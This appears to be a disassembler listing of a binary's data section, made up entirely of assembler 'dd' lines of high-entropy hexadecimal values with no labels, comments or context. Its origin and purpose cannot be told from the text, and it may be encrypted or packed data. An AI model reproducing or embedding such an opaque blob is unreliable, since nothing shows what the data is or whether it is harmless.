		dd 9DAE3F20h, 9C0BBC7Dh, 0B9F9FF46h, 5375BA38h,	1FDA4AB7h
		dd 401D72B1h, 0DAA4DBB5h, 7CAE8732h, 1BF10A28h,	59DF66E2h
		dd 8322510Ah, 0CFC3F62Ah, 2295DBE5h, 0D1409CAAh, 513AC979h
		dd 4A085BBh, 1F7718C7h,	6DCCCEB0h, 28E4AEEDh, 92F90ADFh
		dd 0ABC6411Fh, 95C73109h, 0B5E0A869h, 0E747D180h, 0C5339170h
		dd 0D268D0C0h, 7DBB3804h, 87520D64h, 891E9DFh, 0D8927AF2h
		dd 4C915014h, 85733502h, 0FADBB83Bh, 8C395DE0h,	60D0A0FCh
		dd 0EF226AA8h, 2A0D8E4Bh, 93BA8570h, 7E89762Ah,	4D01EC1Eh
		dd 0FE14D63Bh, 748044A5h, 0B6D826F1h, 8BAEA64Fh, 4E57676Eh
		dd 0F41EAA7Dh, 59F4D7EBh, 160138EAh, 76BD11D8h,	45FD55B9h
		dd 12F91FADh, 4E68FFF8h, 69C68A56h, 49EC42D1h, 0F6F009F5h
		dd 4801F436h, 30C9BDCEh, 0C3590ADFh, 0E8712DBFh, 0AFCF609Dh
		dd 4A37914Bh, 0A2949495h, 0FB4BBEDCh, 58E13B93h, 30D7307h
		dd 37E20071h, 93770EE6h, 9FF08F5Fh, 0E3CF3F3Dh,	0E5BFA780h
		dd 0D172B0Ch, 1A1D40DCh
		dd 1395C956h, 36584B82h, 915792A4h, 3F4DA56Ah, 0F1A4E8A8h
		dd 523E7187h, 0F41419AEh, 55AB3134h, 0ACC9E9AAh, 0B90088E6h
		dd 4B1631C7h, 7DD8422Dh, 0FA6A0A7Bh, 29868FA9h,	5F8B1FD5h
		dd 0ABF6799Ah, 5D3EC699h, 5751BF31h, 0CD50822Dh, 5625C236h
		dd 40D57DD2h, 0FEA2D9Eh, 888609B5h, 6D515DD7h, 22CC4F9Bh
		dd 0A4E43671h, 2CFD351h, 94A079EFh, 59822D25h, 0D951D4D1h
		dd 80F8EC56h, 4D34DB02h, 0A2081CFAh, 0CDA21F8Eh, 75E51895h
		dd 8C829411h, 48A310Dh,	5C391EA7h, 0DDE0365h, 0AC9D002Ah
		dd 69361E7Ch, 0A5294DE9h, 0DDC38763h, 1CA43636h, 7ED2963Dh
		dd 5B043DD2h, 45C02CC5h, 0FA6125DBh, 0A8DE0483h, 0CCD0B097h
		dd 0BA3E57F4h, 222DD584h, 0FFACCD14h, 0C438763Ah, 0EDEEE9D8h
		dd 50236C56h, 0B64F3ECFh, 0F1D4283h, 1CE5558h, 9D8DC05Ah
		dd 9CFC1046h, 105E5D04h, 6E4B2C2Ah, 5BE2865Dh, 0E094B033h
		dd 1BDC0704h, 0FC79C3FBh, 0D6465326h, 3D5082ADh, 0EFC13659h
		dd 0BE6DDCD6h, 1081CD0Eh, 2D98D640h, 4BF226E2h,	459E610Ch
		dd 0CE5EF703h, 6D23EC8Fh, 8198463Ah, 10729C9Fh,	5686C22Fh
		dd 6B094DCAh, 26ECD9BCh, 0CCD35B57h, 0F6330274h, 1B6CF83Eh
		dd 7918E688h, 0D2C1C1D0h, 419B3FE4h, 5972E8A9h,	99ABBFDh
		dd 0D49705ADh, 30197FC9h, 0DE9F9441h, 99DB5DE4h, 42DEEBF5h
		dd 3CC9FEE6h, 0B9F68627h, 0FBB2B91Eh, 10F91105h, 989844B4h
		dd 5B9AC955h, 0C6AFCFE3h, 6D7212BDh, 2796D5CDh,	0EDCC8580h
		dd 32779DE6h, 61B99380h, 0F2FDD120h, 9310DFDDh,	50219FE7h
		dd 0C1750F8h, 0D5A5FBAh, 5AF0D3ECh, 63253764h, 47F67F0Fh
		dd 0F8687D5Bh, 0E0183FE8h, 0D7706B70h, 0AABB1F3Fh, 0D6CB2EDFh
		dd 5F10EC5Ah, 2330FEBBh, 0CD23623Dh, 340D3563h,	6CCE5FBEh
		dd 182B4A5h, 0AE379Fh, 20E70D5Eh, 7BE8F944h, 6FFA763Ch
		dd 0FF2D3D69h, 0D52DD8B5h, 0F705FEEDh, 0A4FEEFABh, 0BAE54B97h
		dd 2ED6A8BEh, 2C9BD697h, 3F801B9Fh, 0FE0952FEh,	0CD25A781h
		dd 45D801A2h, 0D35F59A5h, 798BC4DAh, 0A597B8BFh, 0BC5D3FC7h
		dd 0D7D2BB02h, 864C13D9h, 50C96AB0h, 458774D4h,	0EFEAE0CBh
		dd 0A02311E8h, 0E562CDD6h, 52B2F931h, 60FD0B7Bh, 0B9F4B262h
		dd 0BBF03688h, 0A0F6B205h, 0DA502FFAh, 2BFAFCE9h, 0C8BB7F96h
		dd 32C9519Ah, 0E0DC2FFBh, 6D91F728h, 6167672Eh,	29424FBFh
		dd 8C0719ABh, 9013127h,	4AD1DA76h, 906292A2h, 4CE42D96h
		dd 0FF5E884Ah, 7191130Eh, 6F7C00B0h, 590FADD1h,	8A8BAC2h
		dd 0AD9EFDEBh, 489182C3h, 0E69DC16Bh, 2D494C2Ah, 246C84BDh
		dd 0C85EB537h, 1C665433h, 0AF344FC7h, 0CE19F57Eh, 0FEE814FCh
		dd 0FAD981D7h, 0DB88A710h, 99CE59B0h, 0F5F25E63h, 0B3F40F0h
		dd 0D2EB6BF3h, 7B6AC6B0h, 73E43C81h, 3FA9DA52h,	46431BB7h
		dd 59FA0B6Fh, 0E3A4E3D6h, 204977D8h, 52AEC6FBh,	4104AB90h
		dd 0A8D1C102h, 1BC014FCh, 0DAC3393Fh, 456F8F76h, 745DFCADh
		dd 0D85533CFh, 0DD6AFE8Eh, 0E1B61A6Ah, 0B7DAC88h, 550BFF5Fh
		dd 0C2DD469Ch, 0DB349B2h, 4A761456h, 0C4DF4E3Ch, 85C58AD2h
		dd 7E4DA6E2h, 89F1901Bh, 4C464A6Bh, 3874EB0Bh, 9475853h
		dd 0E275D899h, 0C96633F6h, 5EB2BB87h, 850177FFh, 0A67DBDA4h
		dd 866B0399h, 90175E36h, 17C036FEh, 19783639h, 0D05FEBB0h
		dd 1C729BE9h, 49B7E2CBh, 3F6666B4h, 86261263h, 0AF16D667h
		dd 0F6D670E1h, 7763097Ah, 9012E8F7h, 0BC76E9A5h, 0A7D3A5AAh
		dd 0A7528DD4h, 6E39CB36h, 43C06BE2h, 0F9EFBE6Fh, 9CFF3681h
		dd 0B2306735h, 81BFA9FEh, 0D378E2E4h, 1E89D094h, 649512B0h
		dd 3E8F9033h, 0B1CAAFD1h, 0DEF7F097h, 0F5D69735h, 34C5FB87h
		dd 0B7454306h, 29C3ABA6h, 0D1BBFE34h, 0C79B0032h, 87CFDA9Ch
		dd 0EEEF1266h, 862298C5h, 0A22DDBA9h, 0FEC0DDB0h, 9ACB527h
		dd 1E0A7A26h, 6DBA3FAEh, 31279E3Ch, 624A6A3h, 0F38377FFh
		dd 442884CBh, 83522350h, 99CAA2FFh, 416034EAh, 0C9A78C02h
		dd 0AD613E6h, 3392ED0h,	0B3C0FEEAh, 161FA97Eh, 5D3077F1h
		dd 0C292FF4Bh, 456CEEB4h, 0A5B960D3h, 70B8BD14h, 0BB902BD3h
		dd 5D72F663h, 0E273068Ch, 0FC19BABh, 0C49F9137h, 713A4222h
		dd 0EDF41B0Ch, 8C53A70Ah, 2F3FA5BEh, 91D75F58h,	6B5F4C31h
		dd 0DC74D252h, 0D5024A90h, 39ED9C23h, 0B66EBCEFh, 0A9C69CA3h
		dd 0BAB25EA8h, 6123E280h, 60E604FCh, 0B8552E06h, 0C6AD4388h
		dd 0D574E22Eh, 69825F7Dh, 0A271AF18h, 0C79A6778h, 2455B7A2h
		dd 0E6B4F722h, 8D63F132h, 0BE7FE72Ah, 0F956CB37h, 5B133EEAh
		dd 0BB5811F5h, 0ACDD7F4Ch, 0B05D7526h, 0CFEBB3Eh, 2071836Eh
		dd 0DAB1D650h, 0E6EA9779h, 51A17436h, 35161B2h,	0D4604760h
		dd 58223B48h, 0CED12EA6h, 16570AD2h, 3411C7Ah, 715A6B9Bh
		dd 0E2772C1Bh, 84167598h, 1627082h, 734B8AB7h, 3802CE1h
		dd 0D1E42F66h, 76C77716h, 0ECA36348h, 40FEC62Ah, 0CAEB7683h
		dd 60E0C6Bh, 83905DE3h,	753775Bh, 4C8E88Dh, 2EDE2007h
		dd 621EF3A2h, 5C9C9316h, 802D9482h, 0C2D3E955h,	51486DD0h
		dd 0BCDA60A4h, 4247B077h, 837A0FEBh, 0ECAA02E5h, 92AF6BAFh
		dd 1EB83BEEh, 8E799E70h, 0FE106CD5h, 607CD57Bh,	0AC7045B5h
		dd 7B687FEBh, 8149314Ah, 9D9D136Dh, 0E11B708h, 0A0E5EC59h
		dd 52B93D24h, 30900744h, 75574616h, 64E51DD0h, 32121958h
		dd 3A3E6054h, 60062AB0h, 30A1A02Bh, 0A071AB6Eh,	0D255D981h
		dd 0E3CE59D8h, 77CEC5E8h, 0D9D3DF1Ah, 0DF84ADFDh, 3EB13751h
		dd 7E11098h, 0DCFEE27Ah, 0BD893934h, 4AB46B7h, 342B2479h
		dd 589830EDh, 5A461269h, 0CC3540FDh, 7C9982E4h,	0DFB8FC83h
		dd 0AC448C45h, 325A7423h, 0D0DDAC60h, 2CE769BBh, 0A296F9C2h
		dd 7E995099h, 0C60FBACDh, 0F0450C93h, 883CC255h, 0B24A5B26h
		dd 7EF07E5Ch, 0EF72AC00h, 7394D1F8h, 0CDB1B92Bh, 409FE3E2h
		dd 115FEE34h, 548E839Fh, 0FE48D26Eh, 0F3FCF33h,	4DBC2F2h
		dd 3C7B92F7h, 0DF7BDC79h, 5C327822h, 2E117C59h,	0DECF6D0Fh
		dd 7D3B845Eh, 0F9FB5745h, 0A7C3510h, 0EE1B2C8Dh, 0B27D7277h
		dd 0BB641BD1h, 3DFC02C1h, 0C3D83D67h, 0FC925B24h, 9A8654CAh
		dd 2891C2A4h, 0B7F90881h, 61F82E74h, 34FB663h, 862372A8h
		dd 0B697DDE1h, 0A523A8FBh, 88AAD50Dh, 0E0C89A51h, 7361C976h
		dd 7BF60AE4h, 72DD7747h, 0DAE6B8Ah, 35495586h, 50FA4E30h
		dd 0E5E2A0A1h, 1AF26CC3h, 0F70703F8h, 2903EF7Fh, 5C2ECD9Ch
		dd 0F1C5DABBh, 4AD7577Fh, 21F647E9h, 654D603h, 0D02E9301h
		dd 0FA6DC880h, 853E9AE3h, 3B6CFCFCh, 861073D6h,	7BDE757Bh
		dd 0B4750A5Fh, 0AD7B7A96h, 225089C5h, 3992CB9Ah, 3DD5BB24h
		dd 0A3703F62h, 512F68C7h, 0B87FFE64h, 0EF9A9404h, 24C857E4h
		dd 38C80Ch, 268F2E67h, 0CF4E3AC4h, 0C60831E9h, 7D3DDC72h
		dd 15BBA5C7h, 57371FBCh, 8AFF09Ch, 6BD7F6FEh, 2680D400h
		dd 8B9D9412h, 3483F4C3h, 5B579869h, 0A310F1D9h,	0ADF6EA2h
		dd 80086EB4h, 0D840B5DCh, 84BFAB7Eh, 505EC31Ch,	119C06E5h
		dd 5733039Eh, 29AF0ECCh, 5A0A129Bh, 32B201CDh, 310682DDh
		dd 2CE17D2Ch, 0B179C6FDh, 0BE8C50EAh, 0BF966381h, 0F1AC20FCh
		dd 8599310Dh, 0C87A71EFh, 0D2978C41h, 0A4329DB2h, 8FCC2670h
		dd 62954C40h, 109D97D3h, 2A05C12Bh, 99A47BA8h, 0B4837DA8h
		dd 0EEB4AFE4h, 3BB07997h, 65C16A12h, 292236Dh, 8BE04FB0h
		dd 547CAA18h, 0F7A228A3h
		dd 6CB2A050h, 5A8F381Ah, 2C0A409Dh, 40D9E9D8h, 0DE67F861h
		dd 0B0A9077Bh, 9444182Fh, 0EB388296h, 48A2E9E5h, 87C09868h
		dd 0DB6BBB6Ch, 345D3FEEh, 90CFB893h, 0B0DEDB3h,	510E8397h
		dd 0A873E071h, 1AC9C63Dh, 12BED05Eh, 0E9922E03h, 2642F7CDh
		dd 1E636825h, 51639AA6h, 0A50E5077h, 0AF4DE2A2h, 0DCD316DBh
		dd 0AB76D36Ah, 380FA662h, 32A48AF5h, 75C3F6Ah, 82EE0D0Ch
		dd 97D1E849h, 0C1310930h, 36D0BCAAh, 71AADFAh, 0AA165EABh
		dd 7AF58B85h, 9F29F204h, 0AEC64AC8h, 8228F933h,	0A5F927C1h
		dd 0F6E56B5Ah, 0B1DA2603h, 0F51F33CBh, 6AD7B16Fh, 4B6C8413h
		dd 1DFC0CF6h, 6994C0DFh, 0A85AAE0Eh, 13CAE2D7h,	0D8A3748Ch
		dd 0C9A42C8Bh, 0B607E092h, 8E06B3C3h, 400116Eh,	0CC1B20BCh
		dd 6327CAAFh, 0F9E032D2h, 867CF1F5h, 9800AC02h,	4EF3A028h
		dd 0FBBE4FE3h, 34D82BF1h, 6D3D659Dh, 0BF4A1B56h, 0A0661C96h
		dd 19E24140h, 9D2A2468h, 0ABDB438Eh, 2C6787C5h,	0F653BF6Fh
		dd 8CE3FFAAh, 9228F8B9h, 29D22CD1h, 83FBC74Dh, 63D266BAh
		dd 0C931EF57h, 0C9975Ch, 73741774h, 62E72C69h, 8A7AF69Bh
		dd 95822B50h, 806928B0h, 0A771E5EAh, 837BEC3Eh,	688093Ch
		dd 5053921Ah, 0DDD6EDDCh, 0B5FB036Eh, 5513F5CBh, 9455022Ch
		dd 0A33EF1C5h, 0C4E8BDA6h, 77D1E72h, 9B827882h,	7EA8ADA7h
		dd 6A4B1163h, 0AB6D2374h, 2E285301h, 7629F1AAh,	725428F8h
		dd 8F3375B1h, 9C84701Ch, 0DC2C15FEh, 4102A9D2h,	4A04543h
		dd 2C04210Ch, 1C41A6FEh, 85307D87h, 7D3FDA94h, 0C9DD84BBh
		dd 0A65DFD43h, 2ADB8EEEh, 0E4F8A265h, 0C5829109h, 7A7C33E6h
		dd 7EE96E27h, 510B2902h, 0A2C96792h, 0F6E5DEBFh, 683E4FDAh
		dd 5349432Ah, 0D42C7EEFh, 0F77067A0h, 5C6305FDh, 0FE5EE47Bh
		dd 0E29B14E2h, 0A8E15CFCh, 43F95091h, 3FE40899h, 8D0BC5C1h
		dd 87DCB6C2h, 8678AA29h, 5F7EC41Eh, 0AE52EB93h,	0AFEB18A7h
		dd 5B0C7E0Eh, 66FC7C8Eh, 84639509h, 0FCA795B0h,	3B0A72Ch
		dd 59D04DA5h, 3F0CAA79h, 1C390ED2h, 7CDE5B66h, 0C520F6E0h
		dd 2DF86B0h, 9F592536h,	2B69FDAAh, 7B123047h, 0E1C0FFE9h
		dd 1AE148D3h, 0B6EE5FECh, 0F2066949h, 3D8B0649h, 0C8193DB3h
		dd 0B40113B7h, 7AB6A624h, 5FF685A9h, 9747A39Fh,	90A1A4E7h
		dd 0FECB4273h, 0E1EC0FC9h, 0ADFD72Bh, 47F52FFEh, 0B600CC81h
		dd 0EC2D8A3Eh, 0E11CEAAEh, 80D9EE0Fh, 9DD45AC1h, 2D9D37E5h
		dd 45C3C92Bh, 0B315D028h, 0B1271E2Fh, 6D5A8C0Ah, 0EFA8EB13h
		dd 0E5F836B6h, 43F73AE2h, 387575A7h, 0A69C78BDh, 83FC0EEDh
		dd 8123EDF9h, 9EBF81D9h, 0E4D7B655h, 0E508832Eh, 8B6D1AF5h
		dd 6D32177h, 591006A2h,	365FEF9h, 1B7FA408h, 81EA3AA5h
		dd 190810AFh, 1DC54B18h, 0A0221CECh, 0E01F1C2Eh, 9A29CA4Fh
		dd 29765853h, 64A8A91Dh, 99858D4Ch, 0F0FD1A72h,	4297ACDDh
		dd 0F02F0AC2h, 87704F5h, 0F4DD85ABh, 7E50F64h, 85F401A2h
		dd 784CB730h, 692DDAE5h, 0F06EB0BEh, 2AE72D16h,	687F3E7Dh
		dd 0D8A1EF37h, 99410F36h, 55F223DBh, 6DF8D938h,	0D15DDF6Ch
		dd 0D78B1499h, 0F08370A3h, 0E584B31Fh, 0E33F26BCh, 0B07C62E5h
		dd 0D914CE22h, 3E215EECh, 970BA0AAh, 0DB157552h, 5CD90A7Ah
		dd 6101004Fh, 0E2314341h, 0EA273F1h, 0D3F5DDF9h, 6D988F03h
		dd 918C9A40h, 61893266h, 0D059BEC6h, 73D94534h,	0CFCDCAAFh
		dd 0F59BC7FAh, 6C3D5B71h, 0CEC27A2Fh, 393D140h,	7AD55044h
		dd 0EC7AEE96h, 0EF1E4Ch, 68ADA039h, 0D0E7666Eh,	0E3C83D6Ah
		dd 68558F15h, 7FED93F2h, 2734E5F8h, 0C06F71CBh,	334282A0h
		dd 69F01DA5h, 3AC413E7h, 5BA151BDh, 256A33F1h, 5259831Ah
		dd 0F492E584h, 9F6943E5h, 3EE47C7Dh, 1412786Bh,	0A35D2C95h
		dd 0BFF26A10h, 58DC4F06h, 32928BD3h, 8A09C558h,	1F4C565h
		dd 17AE4C91h, 6E949F52h, 845D9EF1h, 2145CB70h, 0A079E642h
		dd 42992CADh, 39DEEC6h,	0E44C380Bh, 3A7FC1Dh, 0E6B4941Ah
		dd 0DC4370B4h, 0D937FC60h, 0A3BBEF6Bh, 6992B351h, 217D7239h
		dd 0E3AC821Eh, 0DA32A9EBh, 0F0C76796h, 42355583h, 2DAA6899h
		dd 45154EDDh, 861D0BCFh, 56EAD984h, 0E7815F36h,	6C2296C6h
		dd 0E7B20CB9h, 16D87ECh, 0C4BC683h, 8EE08C95h, 5B3351C8h
		dd 29A2ABC1h, 0BE0D4378h, 0FF0DF005h, 93DF4DC3h, 0F90F9F45h
		dd 3ED5DC89h, 7722C98Bh, 5A38CA6Bh, 0B4289E52h,	601694C6h
		dd 7AE032CDh, 4A266ED2h, 873C31F2h, 0CBBE47D1h,	37C831DBh
		dd 6E6F8DDEh, 0BE9E2BAFh, 27C18F93h, 91B0C9A1h,	0B3FF358Fh
		dd 7660D8ACh, 0D20AB047h, 289F0F0h, 82C441AEh, 0D36F2BAAh
		dd 0DC0FD0CFh, 0F028C6B4h, 43D15D62h, 28E63D19h, 1F273F4Eh
		dd 8907F668h, 3F98FAEAh, 7BE0C7B5h, 6368881h, 7EC5EF11h
		dd 689ED1FEh, 72BE7BF1h, 0F8B23C3Fh, 62D7D686h,	82304A63h
		dd 371489BFh, 73ED4255h, 4C71904Eh, 0D63B6D87h,	0E38D37A7h
		dd 91B8C79Ah, 393EEAD4h, 65CDF697h, 993D16C6h, 3EF1B97Bh
		dd 0CF4F3BAAh, 8691CF3Dh, 27E42F39h, 704419C8h,	50B8446h
		dd 71EC3EA7h, 6EA8A228h, 14CB2424h, 0AB6F53B3h,	0B79C2FA0h
		dd 8F8A26C9h, 92A594Fh,	0DC058C53h, 31C63DCCh, 2A0DA084h
		dd 517DFDDEh, 0BFB90E3Ch, 27037B72h, 929C38B4h,	77F8358Ch
		dd 3EEDDEA8h, 0A07EF7C6h, 28B081C6h, 47E5F860h,	3FCC51C8h
		dd 34AE5FCAh, 0F8CF5371h, 0C4E6F4F9h, 0E9F53B23h, 8ED46FC8h
		dd 0F9BC1C70h, 0BFF7CABCh, 0A5306B44h, 0E8EA640Ch, 94A26B1Bh
		dd 1C5375C0h, 733B9950h, 1FF62FF6h, 1C40DBF8h, 8823830Fh
		dd 3BB9CBEEh, 2D1B8271h, 373D7198h, 0E981C922h,	851BCDC3h
		dd 3C343B22h, 767C5B7Eh, 12C02E21h, 6B956027h, 4A4160A4h
		dd 3D3882A1h, 6564B2C8h, 31F7C413h, 0A6A56E09h,	913D5C68h
		dd 0CB52B206h, 7E941B82h, 0A21B87BBh, 8E07242Eh, 4C187C07h
		dd 0B5789EF2h, 99C28C61h, 0A603BFD6h, 6456558Ch, 10D122DBh
		dd 528E2837h, 237BAEAAh, 820B90A7h, 73B8D0E3h, 0F4EE9F0Eh
		dd 3616BEAFh, 103102BCh, 8375A309h, 417858A8h, 79186950h
		dd 94A0AEDCh, 0C92862ECh, 4D17453Ah, 0D3537513h, 0A8199A53h
		dd 0ED1FE96Ch, 4B1D787Dh, 0BD3EF741h, 5CEAB21Fh, 84B5D3A6h
		dd 1BAD593Bh, 0BFF8DD6h, 0A69EAEDAh, 0D71A9529h, 2F629878h
		dd 0C1277964h, 12BBFD13h, 6A7A3738h, 0CE44B13Ch, 563E510Fh
		dd 349D7EACh, 87572FBDh, 0EBC06080h, 9C59CF01h,	29FE972Ch
		dd 73AFA1D2h, 8A7C31B5h, 0D1DAFA8Ch, 3F762C5Ch,	6956C174h
		dd 9ECE6BE8h, 0B567A233h, 5988D9E8h, 0F89D8D8Fh, 9AF16F0Ah
		dd 8967A339h, 0C6245ADCh, 0E1CEE119h, 57AE9519h, 9A1131FDh
		dd 0D455A81Fh, 72A4962Fh, 0B6F35C41h, 0B8DFD7D3h, 267BE4B0h
		dd 0EEFF8D64h, 0C484E50Ah, 8F70E7E5h, 0A644F9C3h, 6E12DDB3h
		dd 0E205A371h, 0BD4AD4DBh, 90A78BA8h, 35989FDDh, 0AC2D052Ah
		dd 935EB281h, 0D7ADB550h, 0B8E07F1Dh, 66DAE7B3h, 0B150CE18h
		dd 368F4FA6h, 0EAB41802h, 0F4E5E1Bh, 28B249AFh,	703F315h
		dd 0E3F396h, 3D070DB6h,	5610042h, 0A1BEFC06h, 574E775Fh
		dd 3D2EDEA8h, 72302187h, 9A1CEB5h, 0CC84E197h, 2AC84E4Ah
		dd 0A60A6DD5h, 824E3FEFh, 0C5FFECA3h, 46F593DAh, 1697FCD5h
		dd 698F8EEDh, 0DDB7D529h, 70F0FCE0h, 54F0FCCCh,	0F2AE6F60h
		dd 86D51D85h, 0B6CDDC54h, 448562F6h, 905CA5BCh,	760F545h
		dd 0FCE6F123h, 0AD8728A3h
		dd 0B34A37C4h, 0BC771466h, 829DC4D8h, 0D0C98D96h, 58D862FCh
		dd 51755DFh, 8C5C1231h,	0DE09E03Eh, 96B0C37Dh, 63C79303h
		dd 549689FBh, 0F39EEB85h, 0C4FBF27h, 8ACC1C79h,	6F19BF64h
		dd 0D75CEAF9h, 0C7F5E168h, 0F22C3328h, 922B146Ch, 9DF7251Ch
		dd 240D8934h, 0E55043CCh, 0A5E46684h, 0BFE84AEBh, 0AF35D612h
		dd 0CC1588B7h, 0F65F31B1h, 0CCA9E5BAh, 0DFCD3A4Dh, 61801D49h
		dd 6C5BA6E8h, 353B5ECEh, 146A714Dh, 0FEA56346h,	0E04D0A03h
		dd 6DA0F1F7h, 657D77BEh, 0C74DD1B2h, 8756FE6Ah,	6113FF75h
		dd 0E5E6ED4Ah, 0E9E52905h, 34BA3A45h, 429C767Eh, 0C5E7516Ah
		dd 4EAAE136h, 0A6CD0188h, 0CC6B7F8Bh, 69973914h, 0B5917FA5h
		dd 0F2D7748Fh, 297CD473h, 2A8DF8ACh, 185919E5h,	0AC37D99h
		dd 0FAE9EBE9h, 6C3A75EDh, 2C0805D8h, 0B93201E5h, 0C0F235Eh
		dd 0B3752DF3h, 4AAA2DD0h, 2589715Ch, 0AFA76E0h,	0B95BB0h
		dd 610F3052h, 253ECDE3h, 274A700Dh, 0C05B37AAh,	5F5F5077h
		dd 0C4FF405Fh, 971692FCh, 0E40B4EEh, 0A32923FBh, 0C5CA39AEh
		dd 0FE570494h, 2E85B617h, 264A7AACh, 9A5D0585h,	249241CBh
		dd 22EB9FA0h, 6D471191h, 6D762F1Dh, 48773027h, 0F24C88ACh
		dd 0AD00BEDBh, 2056F248h, 31A5784h, 9830E92Ch, 25575EB3h
		dd 36304D0Ah, 104AF23Fh, 0BB237580h, 91D5F8D1h,	0F4924A6Ch
		dd 7F93CB65h, 87FA5191h, 0DA92FCCEh, 0FF86C79Dh, 11C1A3BFh
		dd 8F2A15DEh, 0C0ADA3Ch, 0F02D0C41h, 0DC0357C3h, 0BA1D410Ah
		dd 6D76B1C7h, 4BC94243h, 0E573E4BDh, 0B067A66Bh, 0A4F7D01Dh
		dd 0C5A4D1F3h, 3C2F5130h, 9E186B4Eh, 5713E620h,	312F6484h
		dd 5AED4D02h, 0E4FC8CD6h, 740746E0h, 49F6CBh, 0A7A680A0h
		dd 13975B6Ch, 0B187051h, 34C88280h, 18FC679Ah, 784CFAA0h
		dd 0A58F73B0h, 9EF90C67h, 0EF7F48B5h, 936BE061h, 974F4DBFh
		dd 0E017DA16h, 5BEF1E0h, 0E3AC3EBFh, 15CE811Bh,	5676B4A4h
		dd 0A09F368Bh, 79C104B1h, 17BBAB61h, 0ED7647DBh, 0A6C6A573h
		dd 0B505D0BBh, 0A4DC6A2Dh, 1ED1B15h, 51597B0h, 99547DF2h
		dd 0AE58DBE6h, 4F160813h, 26D39173h, 125AF1F5h,	0AE415909h
		dd 907B6CE3h, 0E237B2B7h, 6573FF50h, 17B449CAh,	10785188h
		dd 5DE74A5Fh, 1E08E5A0h, 0AEDCF657h, 0EFDDDD3Fh, 876FED4Ah
		dd 0F015C90h, 0B47DC7F8h, 6012ECF7h, 0E1DA149Eh, 0F9BBDB40h
		dd 4060F54Bh, 4C76AC2Ch, 97DA993Dh, 835A9805h, 6B0D9399h
		dd 2A8DAC92h, 0AD7E284Dh, 0D0B37B5Fh, 9BD9331Fh, 0E62BF2Dh
		dd 5862136Dh, 36BF3FEAh, 0D6670C50h, 0E0F32D17h, 96104508h
		dd 0E3AA6AE2h, 901BA3A1h, 0B9D04988h, 0AF68AC03h, 0AAF2BFF8h
		dd 0BA208267h, 56D4E48Dh, 663D10F9h, 68CC408Bh,	0D7A41849h
		dd 1A18464Bh, 0C8F9F84Dh, 0CA1447B9h, 0DA6C1ECCh, 0A91E01C0h
		dd 0B19CD081h, 9E68BE4Ah, 8BBA1EB9h, 16D61DBEh,	63BAAB8Dh
		dd 0CCC2C0D4h, 0A2898835h, 2D30937Dh, 0BEEC2650h, 5A19A08Bh
		dd 9EBF3499h, 20C20267h, 630E9D07h, 0AE4B321Fh,	9C78050Ah
		dd 96A74DA5h, 3CDF696Ch, 95EE6F27h, 0AA52814Dh,	33F7B03Ah
		dd 70CA782h, 0B175E8CBh, 42E63F10h, 18A05DF8h, 0C40C9464h
		dd 2BF5793Ah, 1BFF35F5h, 0CBD5FB1Dh, 0B51C7660h, 0FF698F07h
		dd 0DAEF1FDEh, 2576973Dh, 18455B6Eh, 72815FABh,	1E33CBF9h
		dd 0A231EB17h, 84E803A4h, 0E8CC8709h, 24519B1h,	9C3204FCh
		dd 69C2887Ah, 0A8339Bh,	97313FAAh, 0F1AFFE77h, 0B091570Bh
		dd 83802B06h, 3AA1BD92h, 3D0FFEB8h, 6CFE0117h, 799E5014h
		dd 4C129AE4h, 0EBDF047h, 3D0DA6EBh, 0F2B0B113h,	4DDCAD0Eh
		dd 0D3EEEB16h, 46EF323Eh, 0E6971CF7h, 45456436h, 3E1F2951h
		dd 3FC95E47h, 12273DABh, 0DF6812F3h, 0C4FE01A5h, 0ED4A9766h
		dd 26A82094h, 107C773Eh, 0EFB40BAh, 77C84ED6h, 0B884AB0Ah
		dd 12CCA35Eh, 829ADE39h, 217E023h, 912D0CACh, 0AEAD8A0Dh
		dd 0B0B379BDh, 51521136h, 0F8F2F75h, 40020AA7h,	0D39AB297h
		dd 18638ECFh, 0F948AC9Dh, 0D4A3B354h, 0E08089E2h, 5A341404h
		dd 5F210EB3h, 0D7220B86h, 0B4433C63h, 94ABBD76h, 80C9B713h
		dd 0C788E4C6h, 15B35630h, 238C5BD6h, 0F8D6C614h, 2C337669h
		dd 0C84823EBh, 5BAF2DDh, 0F31CA142h, 0DEF48C31h, 0F7F3C281h
		dd 0AA26C779h, 76DD7BD2h, 0DF793103h, 4BAC9093h, 82B9DBFDh
		dd 74505B31h, 39F30160h, 730A3C74h, 8FEDE332h, 187EAC69h
		dd 3684F6FBh, 0AD945C37h, 44478995h, 8B62498Ah,	27587666h
		dd 0C9A25CB2h, 615C607Eh, 0AF4D50Eh, 0EB90C715h, 6510BB7Eh
		dd 8DD90A8Fh, 5518DB07h, 0A035BC7Fh, 0DECEC2D2h, 2E84008Fh
		dd 3FABF852h, 97D78755h, 2F4E99Dh, 0F1683513h, 0B47573B1h
		dd 670EFBBh, 0CA5ED3C1h, 0B7A376D3h, 41CD970Bh,	42AFD59Ah
		dd 0ABA3DD13h, 61B88172h, 9D6C4CCBh, 0D9BCCEC4h, 0CDE83532h
		dd 0C4ABEA08h, 0B6B41112h, 2F1F61C3h, 96F7D485h, 0B1BB3440h
		dd 448D7DCh, 664EDB9Bh,	78A0A1D9h, 2A38FF49h, 573CCDAEh
		dd 5D08A9A2h, 0FFF0D28Ch, 1811C936h, 374F2288h,	0A40DC98Ch
		dd 323EC91h, 0A5E96C4Eh, 819B485Ah, 0C3B0107Fh,	63A8DB68h
		dd 89BA5A5Bh, 9B12B4ADh, 7A250A8Eh, 8E108CA2h, 0CDBCB3D7h
		dd 85A19080h, 603A3EBFh, 84ED05Eh, 0D94E94DFh, 35C608B4h
		dd 0F3D2E192h, 48C49D51h, 8FD5D6F3h, 142293BFh,	0D362F415h
		dd 0CBF9D657h, 1EBB58C7h, 37EFAAA8h, 299DB9D0h,	67E162DEh
		dd 0AE57AD11h, 1B6426AFh, 3028E825h, 5F5476CFh,	6D1DB1A4h
		dd 2D6AA156h, 0AD38CBEFh, 0FBA0D48Eh, 6D797D1Eh, 0FB808982h
		dd 53DF5554h, 0D24020D0h, 2D71A378h, 97DF1F9Bh,	7EC11F68h
		dd 0A234B2E0h, 0B3701575h, 385CC14h, 887AF72h, 38CCD481h
		dd 0D5504215h, 9ACFFD3Dh, 0E69FEBE6h, 0EAA63C1Ah, 0AE9292A4h
		dd 46840797h, 0F7A76436h, 2C2FB5CAh, 307F4C27h,	0BBD9F41Eh
		dd 0F7D362E1h, 9D62F86h, 30BB2393h, 0BC782D9Dh,	829C16EEh
		dd 7303B814h, 989903D1h, 1A9632A6h, 0FFE672C5h,	0C169F7BFh
